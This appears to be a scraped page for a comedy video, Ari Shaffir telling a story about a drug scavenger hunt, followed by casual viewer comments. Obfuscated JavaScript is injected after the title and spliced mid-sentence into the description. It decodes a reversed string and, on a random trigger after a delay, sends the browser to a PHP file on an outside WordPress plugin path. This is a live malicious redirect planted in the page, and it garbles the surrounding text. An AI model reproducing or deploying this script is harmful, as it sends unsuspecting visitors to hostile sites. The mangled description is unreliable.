Ari Shaffir – Hunt for the Edible – This Is Not Happening – Uncensored
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toplay=1&autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toplay=1″ frameborder=”0″ allowfullscreen>
While high at a UFC fight, Ari Shaffir had a genius idea about setting up a scavenger hunt for his fans, which he continued toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do until he ran intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to trouble with the cops.
Watch full episodes of This Is Not Happening now:
Follow Ari Shaffir on Twitter:
Youtube Channel
LOOOL
This man saying breast chips
Ari's a brilliant fuckin' genius. He does all the shit I would totally do if I wasn't such a puss pie.
Weed has been legal in Canada since October and you don't need some stupid card. Smoke on that Cali. LOL
Does ari have to announce himself every time?
I like how he announced himself lol
I love how Ari keeps telling stories where he is given an easy out from being arrested for drugs!
ALL I HEAR IS BREAST CHIPS LOL
Federer ketamine Anthony Keidis soccer
Take a 10 strip of acid. You’ll be high forever
HOW DID HE GET HELP FROM POLICE TO COVER UP HIS DRUG SMUGGLING TWICE???
this guy sucks at comedy and this was a boring story
Lmao this guy is Hilarious
The intro clip is crazy good !
first time hearing this guy, i looked at the video halfway through and thought this was the host doing a bit
Better safe then sorry-
A. Studies find that its safe for a preggo to eat pot candy
or
B. Baby comes out a lil f*ck*d up from pot candy
…
Yeah, A for sure
I couldn't help but think that would never happen to a black guy but then he said it aha
I thought he was saying "bread sticks" at first. Like, "wow, they put drugs in everything!"
After watching all these drug comedy shows, I’m starting to realize most of my friends must use drugs
i wish he was still hosting this show…..2019 Reboot????
I dont get the real breath strip or the marijuana breath strip joke at the end???
I feel like this is something I'd do.
What an awesome set– Twitter drug scavenger hunts should always be a thing
Sure it could be white privilege, but it could’ve also been because he’s Ari fuckin Shaffir
Very funny. But the last part is so true. Let that been a black guy hiding weed strips. Mall cop and real cop would had beat him up lock him up. It wouldn't be no trick questions.
Johnny Appleweed would've worked, but Johnny Potseed is better.
These pot cookies last 6-7 hours then some random guy goes yes
Oh god I was laughing so hard I almost peed when he got to tossing the underwater aisle.
How real was that? #ThisisAmerica
The beginning was very weird to me. Shoots dope. Almost dies. Bum gives him a bump. He barks like a dog. Gets hit by dumb truck. FIN.